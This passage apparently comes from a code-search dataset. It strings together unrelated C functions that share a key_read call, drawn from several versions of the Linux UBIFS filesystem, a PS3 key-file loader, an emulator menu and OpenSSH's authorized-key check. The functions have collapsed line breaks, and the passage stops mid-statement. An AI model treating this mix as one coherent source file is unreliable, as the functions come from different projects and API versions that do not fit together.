static int ubifs_create(struct inode *dir, struct dentry *dentry, int mode, struct nameidata *nd) { struct inode *inode; struct ubifs_info *c = dir->i_sb->s_fs_info; int err, sz_change = CALC_DENT_SIZE(dentry->d_name.len); struct ubifs_budget_req req = { .new_ino = 1, .new_dent = 1, .dirtied_ino = 1 }; struct ubifs_inode *dir_ui = ubifs_inode(dir); /* * Budget request settings: new inode, new direntry, changing the * parent directory inode. */ dbg_gen("dent '%.*s', mode %#x in dir ino %lu", dentry->d_name.len, dentry->d_name.name, mode, dir->i_ino); err = ubifs_budget_space(c, &req); if (err) return err; inode = ubifs_new_inode(c, dir, mode); if (IS_ERR(inode)) { err = PTR_ERR(inode); goto out_budg; } mutex_lock(&dir_ui->ui_mutex); dir->i_size += sz_change; dir_ui->ui_size = dir->i_size; dir->i_mtime = dir->i_ctime = inode->i_ctime; err = ubifs_jnl_update(c, dir, &dentry->d_name, inode, 0, 0); if (err) goto out_cancel; mutex_unlock(&dir_ui->ui_mutex); ubifs_release_budget(c, &req); insert_inode_hash(inode); d_instantiate(dentry, inode); return 0; out_cancel: dir->i_size -= sz_change; dir_ui->ui_size = dir->i_size; mutex_unlock(&dir_ui->ui_mutex); make_bad_inode(inode); iput(inode); out_budg: ubifs_release_budget(c, &req); ubifs_err("cannot create regular file, error %d", err); return err; } static unsigned int vfs_dent_type(uint8_t type) { switch (type) { case UBIFS_ITYPE_REG: return DT_REG; case UBIFS_ITYPE_DIR: return DT_DIR; case UBIFS_ITYPE_LNK: return DT_LNK; case UBIFS_ITYPE_BLK: return DT_BLK; case UBIFS_ITYPE_CHR: return DT_CHR; case UBIFS_ITYPE_FIFO: return DT_FIFO; case UBIFS_ITYPE_SOCK: return DT_SOCK; default: BUG(); } return 0; } static int ubifs_readdir(struct file *file, void *dirent, filldir_t filldir) { int err, over = 0; struct qstr nm; union ubifs_key key; struct ubifs_dent_node *dent; struct inode *dir = file->f_path.dentry->d_inode; struct ubifs_info *c = dir->i_sb->s_fs_info; dbg_gen("dir ino %lu, f_pos %#llx", dir->i_ino, file->f_pos); if (file->f_pos > UBIFS_S_KEY_HASH_MASK || file->f_pos == 2) /* * The directory was seek'ed to a senseless position or there * are no more entries. */ return 0; /* File positions 0 and 1 correspond to "." and ".." */ if (file->f_pos == 0) { ubifs_assert(!file->private_data); over = filldir(dirent, ".", 1, 0, dir->i_ino, DT_DIR); if (over) return 0; file->f_pos = 1; } if (file->f_pos == 1) { ubifs_assert(!file->private_data); over = filldir(dirent, "..", 2, 1, parent_ino(file->f_path.dentry), DT_DIR); if (over) return 0; /* Find the first entry in TNC and save it */ lowest_dent_key(c, &key, dir->i_ino); nm.name = NULL; dent = ubifs_tnc_next_ent(c, &key, &nm); if (IS_ERR(dent)) { err = PTR_ERR(dent); goto out; } file->f_pos = key_hash_flash(c, &dent->key); file->private_data = dent; } dent = file->private_data; if (!dent) { /* * The directory was seek'ed to and is now readdir'ed. * Find the entry corresponding to @file->f_pos or the * closest one. */ dent_key_init_hash(c, &key, dir->i_ino, file->f_pos); nm.name = NULL; dent = ubifs_tnc_next_ent(c, &key, &nm); if (IS_ERR(dent)) { err = PTR_ERR(dent); goto out; } file->f_pos = key_hash_flash(c, &dent->key); file->private_data = dent; } while (1) { dbg_gen("feed '%s', ino %llu, new f_pos %#x", dent->name, (unsigned long long)le64_to_cpu(dent->inum), key_hash_flash(c, &dent->key)); ubifs_assert(le64_to_cpu(dent->ch.sqnum) > ubifs_inode(dir)->creat_sqnum); nm.len = le16_to_cpu(dent->nlen); over = filldir(dirent, dent->name, nm.len, file->f_pos, le64_to_cpu(dent->inum), vfs_dent_type(dent->type)); if (over) return 0; /* Switch to the next entry */ key_read(c, &dent->key, &key); nm.name = dent->name; dent = ubifs_tnc_next_ent(c, &key, &nm); if (IS_ERR(dent)) { err = PTR_ERR(dent); goto out; } kfree(file->private_data); file->f_pos = key_hash_flash(c, &dent->key); file->private_data = dent; cond_resched(); } out: if (err != -ENOENT) { ubifs_err("cannot find next direntry, error %d", err); return err; } kfree(file->private_data); file->private_data = NULL; file->f_pos = 2; return 0; }
int key_get(enum sce_key type, const char *suffix, struct key *k) { const char *name = ""; const char *rev = ""; char base[256]; char path[256]; u8 tmp[4]; if ( strncmp( suffix, "retail", strlen( suffix ) ) == 0 ) { rev = "retail"; } else if ( atoi( suffix ) <= 92 ) { suffix = "092"; rev = "0x00"; } else if ( atoi( suffix ) <= 331 ) { suffix = "315"; rev = "0x01"; } else if ( atoi( suffix ) <= 342 ) { suffix = "341"; rev = "0x04"; } else if ( atoi( suffix ) <= 350 ) { suffix = "350"; rev = "0x07"; } else if ( atoi( suffix ) <= 355 ) { suffix = "355"; rev = "0x0a"; } else if ( atoi( suffix ) <= 356 ) { suffix = "356"; rev = "0x0d"; } printf(" file suffix: %s (rev %s)\n", suffix, rev ); if (key_build_path(base) < 0) return -1; name = id2name(type, t_key2file, NULL); if (name == NULL) return -1; snprintf(path, sizeof path, "%s/%s-key-%s", base, name, suffix); if (key_read(path, 32, k->key) < 0) { printf(" key file: %s (ERROR)\n", path); return -1; } snprintf(path, sizeof path, "%s/%s-iv-%s", base, name, suffix); if (key_read(path, 16, k->iv) < 0) { printf(" iv file: %s (ERROR)\n", path); return -1; } k->pub_avail = k->priv_avail = 1; snprintf(path, sizeof path, "%s/%s-ctype-%s", base, name, suffix); if (key_read(path, 4, tmp) < 0) { k->pub_avail = k->priv_avail = -1; printf(" ctype file: %s (ERROR)\n", path); return 0; } k->ctype = be32(tmp); snprintf(path, sizeof path, "%s/%s-pub-%s", base, name, suffix); if (key_read(path, 40, k->pub) < 0) { printf(" pub file: %s (ERROR)\n", path); k->pub_avail = -1; } snprintf(path, sizeof path, "%s/%s-priv-%s", base, name, suffix); if (key_read(path, 21, k->priv) < 0) { printf(" priv file: %s (ERROR)\n", path); k->priv_avail = -1; } return 0; }
static int ubifs_create(struct inode *dir, struct dentry *dentry, umode_t mode, bool excl) { struct inode *inode; struct ubifs_info *c = dir->i_sb->s_fs_info; int err, sz_change = CALC_DENT_SIZE(dentry->d_name.len); struct ubifs_budget_req req = { .new_ino = 1, .new_dent = 1, .dirtied_ino = 1 }; struct ubifs_inode *dir_ui = ubifs_inode(dir); /* * Budget request settings: new inode, new direntry, changing the * parent directory inode. */ dbg_gen("dent '%pd', mode %#hx in dir ino %lu", dentry, mode, dir->i_ino); err = ubifs_budget_space(c, &req); if (err) return err; inode = ubifs_new_inode(c, dir, mode); if (IS_ERR(inode)) { err = PTR_ERR(inode); goto out_budg; } err = ubifs_init_security(dir, inode, &dentry->d_name); if (err) goto out_inode; mutex_lock(&dir_ui->ui_mutex); dir->i_size += sz_change; dir_ui->ui_size = dir->i_size; dir->i_mtime = dir->i_ctime = inode->i_ctime; err = ubifs_jnl_update(c, dir, &dentry->d_name, inode, 0, 0); if (err) goto out_cancel; mutex_unlock(&dir_ui->ui_mutex); ubifs_release_budget(c, &req); insert_inode_hash(inode); d_instantiate(dentry, inode); return 0; out_cancel: dir->i_size -= sz_change; dir_ui->ui_size = dir->i_size; mutex_unlock(&dir_ui->ui_mutex); out_inode: make_bad_inode(inode); iput(inode); out_budg: ubifs_release_budget(c, &req); ubifs_err(c, "cannot create regular file, error %d", err); return err; } /** * vfs_dent_type - get VFS directory entry type. * @type: UBIFS directory entry type * * This function converts UBIFS directory entry type into VFS directory entry * type. */ static unsigned int vfs_dent_type(uint8_t type) { switch (type) { case UBIFS_ITYPE_REG: return DT_REG; case UBIFS_ITYPE_DIR: return DT_DIR; case UBIFS_ITYPE_LNK: return DT_LNK; case UBIFS_ITYPE_BLK: return DT_BLK; case UBIFS_ITYPE_CHR: return DT_CHR; case UBIFS_ITYPE_FIFO: return DT_FIFO; case UBIFS_ITYPE_SOCK: return DT_SOCK; default: BUG(); } return 0; } /* * The classical Unix view for directory is that it is a linear array of * (name, inode number) entries. Linux/VFS assumes this model as well. * Particularly, 'readdir()' call wants us to return a directory entry offset * which later may be used to continue 'readdir()'ing the directory or to * 'seek()' to that specific direntry. Obviously UBIFS does not really fit this * model because directory entries are identified by keys, which may collide. * * UBIFS uses directory entry hash value for directory offsets, so * 'seekdir()'/'telldir()' may not always work because of possible key * collisions. But UBIFS guarantees that consecutive 'readdir()' calls work * properly by means of saving full directory entry name in the private field * of the file description object. * * This means that UBIFS cannot support NFS which requires full * 'seekdir()'/'telldir()' support. */ static int ubifs_readdir(struct file *file, struct dir_context *ctx) { int err; struct qstr nm; union ubifs_key key; struct ubifs_dent_node *dent; struct inode *dir = file_inode(file); struct ubifs_info *c = dir->i_sb->s_fs_info; dbg_gen("dir ino %lu, f_pos %#llx", dir->i_ino, ctx->pos); if (ctx->pos > UBIFS_S_KEY_HASH_MASK || ctx->pos == 2) /* * The directory was seek'ed to a senseless position or there * are no more entries. */ return 0; if (file->f_version == 0) { /* * The file was seek'ed, which means that @file->private_data * is now invalid. This may also be just the first * 'ubifs_readdir()' invocation, in which case * @file->private_data is NULL, and the below code is * basically a no-op. */ kfree(file->private_data); file->private_data = NULL; } /* * 'generic_file_llseek()' unconditionally sets @file->f_version to * zero, and we use this for detecting whether the file was seek'ed. */ file->f_version = 1; /* File positions 0 and 1 correspond to "." and ".." */ if (ctx->pos < 2) { ubifs_assert(!file->private_data); if (!dir_emit_dots(file, ctx)) return 0; /* Find the first entry in TNC and save it */ lowest_dent_key(c, &key, dir->i_ino); nm.name = NULL; dent = ubifs_tnc_next_ent(c, &key, &nm); if (IS_ERR(dent)) { err = PTR_ERR(dent); goto out; } ctx->pos = key_hash_flash(c, &dent->key); file->private_data = dent; } dent = file->private_data; if (!dent) { /* * The directory was seek'ed to and is now readdir'ed. * Find the entry corresponding to @ctx->pos or the closest one. */ dent_key_init_hash(c, &key, dir->i_ino, ctx->pos); nm.name = NULL; dent = ubifs_tnc_next_ent(c, &key, &nm); if (IS_ERR(dent)) { err = PTR_ERR(dent); goto out; } ctx->pos = key_hash_flash(c, &dent->key); file->private_data = dent; } while (1) { dbg_gen("feed '%s', ino %llu, new f_pos %#x", dent->name, (unsigned long long)le64_to_cpu(dent->inum), key_hash_flash(c, &dent->key)); ubifs_assert(le64_to_cpu(dent->ch.sqnum) > ubifs_inode(dir)->creat_sqnum); nm.len = le16_to_cpu(dent->nlen); if (!dir_emit(ctx, dent->name, nm.len, le64_to_cpu(dent->inum), vfs_dent_type(dent->type))) return 0; /* Switch to the next entry */ key_read(c, &dent->key, &key); nm.name = dent->name; dent = ubifs_tnc_next_ent(c, &key, &nm); if (IS_ERR(dent)) { err = PTR_ERR(dent); goto out; } kfree(file->private_data); ctx->pos = key_hash_flash(c, &dent->key); file->private_data = dent; cond_resched(); } out: if (err != -ENOENT) { ubifs_err(c, "cannot find next direntry, error %d", err); return err; } kfree(file->private_data); file->private_data = NULL; /* 2 is a special value indicating that there are no more direntries */ ctx->pos = 2; return 0; }
struct keylist *keys_get(enum sce_key type) { const char *name = NULL; char base[256]; char path[256]; void *tmp = NULL; char *id; DIR *dp; struct dirent *dent; struct keylist *klist; u8 bfr[4]; klist = malloc(sizeof *klist); if (klist == NULL) goto fail; memset(klist, 0, sizeof *klist); name = id2name(type, t_key2file, NULL); if (name == NULL) goto fail; if (key_build_path(base) < 0) goto fail; dp = opendir(base); if (dp == NULL) goto fail; while ((dent = readdir(dp)) != NULL) { if (strncmp(dent->d_name, name, strlen(name)) == 0 && strstr(dent->d_name, "key") != NULL) { tmp = realloc(klist->keys, (klist->n + 1) * sizeof(struct key)); if (tmp == NULL) goto fail; id = strrchr(dent->d_name, '-'); if (id != NULL) id++; klist->keys = tmp; memset(&klist->keys[klist->n], 0, sizeof(struct key)); snprintf(path, sizeof path, "%s/%s-key-%s", base, name, id); key_read(path, 32, klist->keys[klist->n].key); snprintf(path, sizeof path, "%s/%s-iv-%s", base, name, id); key_read(path, 16, klist->keys[klist->n].iv); klist->keys[klist->n].pub_avail = -1; klist->keys[klist->n].priv_avail = -1; snprintf(path, sizeof path, "%s/%s-pub-%s", base, name, id); if (key_read(path, 40, klist->keys[klist->n].pub) == 0) { snprintf(path, sizeof path, "%s/%s-ctype-%s", base, name, id); key_read(path, 4, bfr); klist->keys[klist->n].pub_avail = 1; klist->keys[klist->n].ctype = be32(bfr); } snprintf(path, sizeof path, "%s/%s-priv-%s", base, name, id); if (key_read(path, 21, klist->keys[klist->n].priv) == 0) klist->keys[klist->n].priv_avail = 1; klist->n++; } } return klist; fail: if (klist != NULL) { if (klist->keys != NULL) free(klist->keys); free(klist); } klist = NULL; return NULL; }
char *FileReq(char *dir, const char *ext, char *result) { static char *cwd = NULL; static s32 cursor_pos = 1; static s32 first_visible; static s32 num_items = 0; DIR *dirstream; struct dirent *direntry; static s32 row; char tmp_string[41]; u32 keys; if (dir) ChDir(dir); cwd = GetCwd(); for (;;) { keys = key_read(); video_clear(); if (keys & KEY_SELECT) { FREE_LIST(); key_reset(); return NULL; } if (num_items == 0) { dirstream = opendir(cwd); if (dirstream == NULL) { port_printf(0, 20, "error opening directory"); return NULL; } // read directory entries while ((direntry = readdir(dirstream))) { s32 type = get_entry_type(cwd, direntry->d_name); // this is a very ugly way of only accepting a certain extension if ((type == 0 && strcmp(direntry->d_name, ".")) || check_ext(direntry->d_name) || (ext && (strlen(direntry->d_name) > 4 &&0 == strncasecmp(direntry->d_name + (strlen(direntry->d_name) - strlen(ext)), ext, strlen(ext))))) { // Hide ".." if at Unix root dir. Don't display Unix hidden files (.file). if ((!strcmp(direntry->d_name, "..") && strcmp(cwd, "/")) || direntry->d_name[0] != '.') { filereq_dir_items[num_items].name = (char *)malloc(strlen(direntry->d_name) + 1); strcpy(filereq_dir_items[num_items].name, direntry->d_name); filereq_dir_items[num_items].type = type; num_items++; if (num_items > 1024) break; } } } closedir(dirstream); sort_dir(filereq_dir_items, num_items); cursor_pos = 0; first_visible = 0; } // display current directory int len = strlen(cwd); if (len > 40) { strcpy(tmp_string, ".."); strcat(tmp_string, cwd + len - 38); port_printf(0, MENU_Y, tmp_string); } else port_printf(0, MENU_Y, cwd); if (keys & KEY_DOWN) { //down if (++cursor_pos >= num_items) { cursor_pos = 0; first_visible = 0; } if ((cursor_pos - first_visible) >= MENU_HEIGHT) first_visible++; } else if (keys & KEY_UP) { // up if (--cursor_pos < 0) { cursor_pos = num_items - 1; first_visible = cursor_pos - MENU_HEIGHT + 1; if (first_visible < 0) first_visible = 0; } if (cursor_pos < first_visible) first_visible--; } else if (keys & KEY_LEFT) { //left if (cursor_pos >= 10) cursor_pos -= 10; else cursor_pos = 0; if (cursor_pos < first_visible) first_visible = cursor_pos; } else if (keys & KEY_RIGHT) { //right if (cursor_pos < (num_items - 11)) cursor_pos += 10; else cursor_pos = num_items - 1; if ((cursor_pos - first_visible) >= MENU_HEIGHT) first_visible = cursor_pos - (MENU_HEIGHT - 1); } else if (keys & KEY_A) { // button 1 // directory selected if (filereq_dir_items[cursor_pos].type == 0) { strcat(cwd, "/"); strcat(cwd, filereq_dir_items[cursor_pos].name); ChDir(cwd); cwd = GetCwd(); FREE_LIST(); key_reset(); } else { sprintf(result, "%s/%s", cwd, filereq_dir_items[cursor_pos].name); if (dir) strcpy(dir, cwd); video_clear(); port_printf(16 * 8, 120, "LOADING"); video_flip(); FREE_LIST(); key_reset(); return result; } } else if (keys & KEY_B) { cursor_pos = 0; first_visible = 0; key_reset(); } // display directory contents row = 0; while (row < num_items && row < MENU_HEIGHT) { if (row == (cursor_pos - first_visible)) { // draw cursor port_printf(MENU_X + 16, MENU_LS + (10 * row), "-->"); } if (filereq_dir_items[row + first_visible].type == 0) port_printf(MENU_X, MENU_LS + (10 * row), "DIR"); int len = strlen(filereq_dir_items[row + first_visible].name); if (len > 32) { snprintf(tmp_string, 16, "%s", filereq_dir_items[row + first_visible].name); strcat(tmp_string, ".."); strcat(tmp_string, &filereq_dir_items[row + first_visible].name[len - 15]); } else snprintf(tmp_string, 33, "%s", filereq_dir_items[row + first_visible].name); port_printf(MENU_X + (8 * 5), MENU_LS + (10 * row), tmp_string); row++; } while (row < MENU_HEIGHT) row++; video_flip(); timer_delay(75); if (keys & (KEY_A | KEY_B | KEY_X | KEY_Y | KEY_L | KEY_R | KEY_LEFT | KEY_RIGHT | KEY_UP | KEY_DOWN)) timer_delay(50); } return NULL; }
/* return 1 if user allows given key */ static int user_key_allowed2(struct passwd *pw, Key *key, char *file) { char line[SSH_MAX_PUBKEY_BYTES]; const char *reason; int found_key = 0; FILE *f; u_long linenum = 0; Key *found; char *fp; /* Temporarily use the user's uid. */ temporarily_use_uid(pw); debug("trying public key file %s", file); f = auth_openkeyfile(file, pw, options.strict_modes); if (!f) { restore_uid(); return 0; } found_key = 0; found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type); while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) { char *cp, *key_options = NULL; auth_clear_options(); /* Skip leading whitespace, empty and comment lines. */ for (cp = line; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') continue; if (key_read(found, &cp) != 1) { /* no key? check if there are options for this key */ int quoted = 0; debug2("user_key_allowed: check options: '%s'", cp); key_options = cp; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } /* Skip remaining whitespace. */ for (; *cp == ' ' || *cp == '\t'; cp++) ; if (key_read(found, &cp) != 1) { debug2("user_key_allowed: advance: '%s'", cp); /* still no key? advance to next line*/ continue; } } if (key_is_cert(key)) { if (!key_equal(found, key->cert->signature_key)) continue; if (auth_parse_options(pw, key_options, file, linenum) != 1) continue; if (!key_is_cert_authority) continue; fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX); debug("matching CA found: file %s, line %lu, %s %s", file, linenum, key_type(found), fp); /* * If the user has specified a list of principals as * a key option, then prefer that list to matching * their username in the certificate principals list. */ if (authorized_principals != NULL && !match_principals_option(authorized_principals, key->cert)) { reason = "Certificate does not contain an " "authorized principal"; fail_reason: xfree(fp); error("%s", reason); auth_debug_add("%s", reason); continue; } if (key_cert_check_authority(key, 0, 0, authorized_principals == NULL ? pw->pw_name : NULL, &reason) != 0) goto fail_reason; if (auth_cert_options(key, pw) != 0) { xfree(fp); continue; } verbose("Accepted certificate ID \"%s\" " "signed by %s CA %s via %s", key->cert->key_id, key_type(found), fp, file); xfree(fp); found_key = 1; break; } else if (key_equal(found, key)) { if (auth_parse_options(pw, key_options, file, linenum) != 1) continue; if (key_is_cert_authority) continue; found_key = 1; debug("matching key found: file %s, line %lu", file, linenum); fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX); verbose("Found matching %s key: %s", key_type(found), fp); xfree(fp); break; } } restore_uid(); fclose(f); key_free(found); if (!found_key) debug2("key not found"); return found_key; }
//To choose which of a multi-CD image should be used. Can be called // from front-end 'Swap CD' menu item, in which case parameter // 'swapping_cd' is true. Or, can be called via callback function // gui_select_multicd_to_boot_from() inside cdriso.cpp, in which // case swapping_cd parameter is false. static int gui_select_multicd(bool swapping_cd) { if (cdrIsoMultidiskCount <= 1) return 0; // Only max of 8 ISO images inside an Eboot multi-disk .pbp are supported // by cdriso.cpp PBP code, but enforce it here to be sure: int num_rows = (cdrIsoMultidiskCount > 8) ? 8 : cdrIsoMultidiskCount; int cursor_pos = cdrIsoMultidiskSelect; if ((cursor_pos >= num_rows) || (cursor_pos < 0)) cursor_pos = 0; for (;;) { video_clear(); u32 keys = key_read(); if ((swapping_cd) && (keys & KEY_SELECT)) { key_reset(); return 0; } if (!swapping_cd) port_printf(MENU_X, MENU_Y, "Multi-CD image detected:"); char tmp_string[41]; for (int row=0; row < num_rows; ++row) { if (row == cursor_pos) { // draw cursor port_printf(MENU_X + 16, MENU_LS + 10 + (10 * row), "-->"); } sprintf(tmp_string, "CD %d", (row+1)); if (swapping_cd && (row == cdrIsoMultidiskSelect)) { // print indication of which CD is already inserted strcat(tmp_string, " (inserted)"); } port_printf(MENU_X + (8 * 5), MENU_LS + 10 + (10 * row), tmp_string); } if (keys & KEY_DOWN) { //down if (++cursor_pos >= num_rows) cursor_pos = 0; } else if (keys & KEY_UP) { // up if (--cursor_pos < 0) cursor_pos = num_rows - 1; } else if (keys & KEY_LEFT) { //left cursor_pos = 0; } else if (keys & KEY_RIGHT) { //right cursor_pos = num_rows - 1; } else if (keys & KEY_A) { // button 1 key_reset(); cdrIsoMultidiskSelect = cursor_pos; video_clear(); video_flip(); // Forget last used save slot saveslot = -1; return 1; } video_flip(); timer_delay(75); if (keys & (KEY_A | KEY_B | KEY_X | KEY_Y | KEY_L | KEY_R | KEY_LEFT | KEY_RIGHT | KEY_UP | KEY_DOWN)) timer_delay(50); } }
/** * dbg_check_old_index - check the old copy of the index. * @c: UBIFS file-system description object * @zroot: root of the new index * * In order to be able to recover from an unclean unmount, a complete copy of * the index must exist on flash. This is the "old" index. The commit process * must write the "new" index to flash without overwriting or destroying any * part of the old index. This function is run at commit end in order to check * that the old index does indeed exist completely intact. * * This function returns %0 on success and a negative error code on failure. */ int dbg_check_old_index(struct ubifs_info *c, struct ubifs_zbranch *zroot) { int lnum, offs, len, err = 0, uninitialized_var(last_level), child_cnt; int first = 1, iip; struct ubifs_debug_info *d = c->dbg; union ubifs_key lower_key, upper_key, l_key, u_key; unsigned long long uninitialized_var(last_sqnum); struct ubifs_idx_node *idx; struct list_head list; struct idx_node *i; size_t sz; if (!(ubifs_chk_flags & UBIFS_CHK_OLD_IDX)) goto out; INIT_LIST_HEAD(&list); sz = sizeof(struct idx_node) + ubifs_idx_node_sz(c, c->fanout) - UBIFS_IDX_NODE_SZ; /* Start at the old zroot */ lnum = d->old_zroot.lnum; offs = d->old_zroot.offs; len = d->old_zroot.len; iip = 0; /* * Traverse the index tree preorder depth-first i.e. do a node and then * its subtrees from left to right. */ while (1) { struct ubifs_branch *br; /* Get the next index node */ i = kmalloc(sz, GFP_NOFS); if (!i) { err = -ENOMEM; goto out_free; } i->iip = iip; /* Keep the index nodes on our path in a linked list */ list_add_tail(&i->list, &list); /* Read the index node */ idx = &i->idx; err = ubifs_read_node(c, idx, UBIFS_IDX_NODE, len, lnum, offs); if (err) goto out_free; /* Validate index node */ child_cnt = le16_to_cpu(idx->child_cnt); if (child_cnt < 1 || child_cnt > c->fanout) { err = 1; goto out_dump; } if (first) { first = 0; /* Check root level and sqnum */ if (le16_to_cpu(idx->level) != d->old_zroot_level) { err = 2; goto out_dump; } if (le64_to_cpu(idx->ch.sqnum) != d->old_zroot_sqnum) { err = 3; goto out_dump; } /* Set last values as though root had a parent */ last_level = le16_to_cpu(idx->level) + 1; last_sqnum = le64_to_cpu(idx->ch.sqnum) + 1; key_read(c, ubifs_idx_key(c, idx), &lower_key); highest_ino_key(c, &upper_key, INUM_WATERMARK); } key_copy(c, &upper_key, &i->upper_key); if (le16_to_cpu(idx->level) != last_level - 1) { err = 3; goto out_dump; } /* * The index is always written bottom up hence a child's sqnum * is always less than the parents. */ if (le64_to_cpu(idx->ch.sqnum) >= last_sqnum) { err = 4; goto out_dump; } /* Check key range */ key_read(c, ubifs_idx_key(c, idx), &l_key); br = ubifs_idx_branch(c, idx, child_cnt - 1); key_read(c, &br->key, &u_key); if (keys_cmp(c, &lower_key, &l_key) > 0) { err = 5; goto out_dump; } if (keys_cmp(c, &upper_key, &u_key) < 0) { err = 6; goto out_dump; } if (keys_cmp(c, &upper_key, &u_key) == 0) if (!is_hash_key(c, &u_key)) { err = 7; goto out_dump; } /* Go to next index node */ if (le16_to_cpu(idx->level) == 0) { /* At the bottom, so go up until can go right */ while (1) { /* Drop the bottom of the list */ list_del(&i->list); kfree(i); /* No more list means we are done */ if (list_empty(&list)) goto out; /* Look at the new bottom */ i = list_entry(list.prev, struct idx_node, list); idx = &i->idx; /* Can we go right */ if (iip + 1 < le16_to_cpu(idx->child_cnt)) { iip = iip + 1; break; } else /* Nope, so go up again */ iip = i->iip; } } else /* Go down left */ iip = 0; /* * We have the parent in 'idx' and now we set up for reading the * child pointed to by slot 'iip'. */ last_level = le16_to_cpu(idx->level); last_sqnum = le64_to_cpu(idx->ch.sqnum); br = ubifs_idx_branch(c, idx, iip); lnum = le32_to_cpu(br->lnum); offs = le32_to_cpu(br->offs); len = le32_to_cpu(br->len); key_read(c, &br->key, &lower_key); if (iip + 1 < le16_to_cpu(idx->child_cnt)) { br = ubifs_idx_branch(c, idx, iip + 1); key_read(c, &br->key, &upper_key); } else key_copy(c, &i->upper_key, &upper_key); }
static int ubifs_create(struct inode *dir, struct dentry *dentry, umode_t mode, bool excl) { struct inode *inode; struct ubifs_info *c = dir->i_sb->s_fs_info; struct ubifs_budget_req req = { .new_ino = 1, .new_dent = 1, .dirtied_ino = 1 }; struct ubifs_inode *dir_ui = ubifs_inode(dir); struct fscrypt_name nm; int err, sz_change; /* * Budget request settings: new inode, new direntry, changing the * parent directory inode. */ dbg_gen("dent '%pd', mode %#hx in dir ino %lu", dentry, mode, dir->i_ino); err = ubifs_budget_space(c, &req); if (err) return err; err = fscrypt_setup_filename(dir, &dentry->d_name, 0, &nm); if (err) goto out_budg; sz_change = CALC_DENT_SIZE(fname_len(&nm)); inode = ubifs_new_inode(c, dir, mode); if (IS_ERR(inode)) { err = PTR_ERR(inode); goto out_fname; } err = ubifs_init_security(dir, inode, &dentry->d_name); if (err) goto out_inode; mutex_lock(&dir_ui->ui_mutex); dir->i_size += sz_change; dir_ui->ui_size = dir->i_size; dir->i_mtime = dir->i_ctime = inode->i_ctime; err = ubifs_jnl_update(c, dir, &nm, inode, 0, 0); if (err) goto out_cancel; mutex_unlock(&dir_ui->ui_mutex); ubifs_release_budget(c, &req); fscrypt_free_filename(&nm); insert_inode_hash(inode); d_instantiate(dentry, inode); return 0; out_cancel: dir->i_size -= sz_change; dir_ui->ui_size = dir->i_size; mutex_unlock(&dir_ui->ui_mutex); out_inode: make_bad_inode(inode); iput(inode); out_fname: fscrypt_free_filename(&nm); out_budg: ubifs_release_budget(c, &req); ubifs_err(c, "cannot create regular file, error %d", err); return err; } static int do_tmpfile(struct inode *dir, struct dentry *dentry, umode_t mode, struct inode **whiteout) { struct inode *inode; struct ubifs_info *c = dir->i_sb->s_fs_info; struct ubifs_budget_req req = { .new_ino = 1, .new_dent = 1}; struct ubifs_budget_req ino_req = { .dirtied_ino = 1 }; struct ubifs_inode *ui, *dir_ui = ubifs_inode(dir); int err, instantiated = 0; struct fscrypt_name nm; /* * Budget request settings: new dirty inode, new direntry, * budget for dirtied inode will be released via writeback. */ dbg_gen("dent '%pd', mode %#hx in dir ino %lu", dentry, mode, dir->i_ino); err = fscrypt_setup_filename(dir, &dentry->d_name, 0, &nm); if (err) return err; err = ubifs_budget_space(c, &req); if (err) { fscrypt_free_filename(&nm); return err; } err = ubifs_budget_space(c, &ino_req); if (err) { ubifs_release_budget(c, &req); fscrypt_free_filename(&nm); return err; } inode = ubifs_new_inode(c, dir, mode); if (IS_ERR(inode)) { err = PTR_ERR(inode); goto out_budg; } ui = ubifs_inode(inode); if (whiteout) { init_special_inode(inode, inode->i_mode, WHITEOUT_DEV); ubifs_assert(inode->i_op == &ubifs_file_inode_operations); } err = ubifs_init_security(dir, inode, &dentry->d_name); if (err) goto out_inode; mutex_lock(&ui->ui_mutex); insert_inode_hash(inode); if (whiteout) { mark_inode_dirty(inode); drop_nlink(inode); *whiteout = inode; } else { d_tmpfile(dentry, inode); } ubifs_assert(ui->dirty); instantiated = 1; mutex_unlock(&ui->ui_mutex); mutex_lock(&dir_ui->ui_mutex); err = ubifs_jnl_update(c, dir, &nm, inode, 1, 0); if (err) goto out_cancel; mutex_unlock(&dir_ui->ui_mutex); ubifs_release_budget(c, &req); return 0; out_cancel: mutex_unlock(&dir_ui->ui_mutex); out_inode: make_bad_inode(inode); if (!instantiated) iput(inode); out_budg: ubifs_release_budget(c, &req); if (!instantiated) ubifs_release_budget(c, &ino_req); fscrypt_free_filename(&nm); ubifs_err(c, "cannot create temporary file, error %d", err); return err; } static int ubifs_tmpfile(struct inode *dir, struct dentry *dentry, umode_t mode) { return do_tmpfile(dir, dentry, mode, NULL); } /** * vfs_dent_type - get VFS directory entry type. * @type: UBIFS directory entry type * * This function converts UBIFS directory entry type into VFS directory entry * type. */ static unsigned int vfs_dent_type(uint8_t type) { switch (type) { case UBIFS_ITYPE_REG: return DT_REG; case UBIFS_ITYPE_DIR: return DT_DIR; case UBIFS_ITYPE_LNK: return DT_LNK; case UBIFS_ITYPE_BLK: return DT_BLK; case UBIFS_ITYPE_CHR: return DT_CHR; case UBIFS_ITYPE_FIFO: return DT_FIFO; case UBIFS_ITYPE_SOCK: return DT_SOCK; default: BUG(); } return 0; } /* * The classical Unix view for directory is that it is a linear array of * (name, inode number) entries. Linux/VFS assumes this model as well. * Particularly, 'readdir()' call wants us to return a directory entry offset * which later may be used to continue 'readdir()'ing the directory or to * 'seek()' to that specific direntry. Obviously UBIFS does not really fit this * model because directory entries are identified by keys, which may collide. * * UBIFS uses directory entry hash value for directory offsets, so * 'seekdir()'/'telldir()' may not always work because of possible key * collisions. But UBIFS guarantees that consecutive 'readdir()' calls work * properly by means of saving full directory entry name in the private field * of the file description object. * * This means that UBIFS cannot support NFS which requires full * 'seekdir()'/'telldir()' support. */ static int ubifs_readdir(struct file *file, struct dir_context *ctx) { int fstr_real_len = 0, err = 0; struct fscrypt_name nm; struct fscrypt_str fstr = {0}; union ubifs_key key; struct ubifs_dent_node *dent; struct inode *dir = file_inode(file); struct ubifs_info *c = dir->i_sb->s_fs_info; bool encrypted = ubifs_crypt_is_encrypted(dir); dbg_gen("dir ino %lu, f_pos %#llx", dir->i_ino, ctx->pos); if 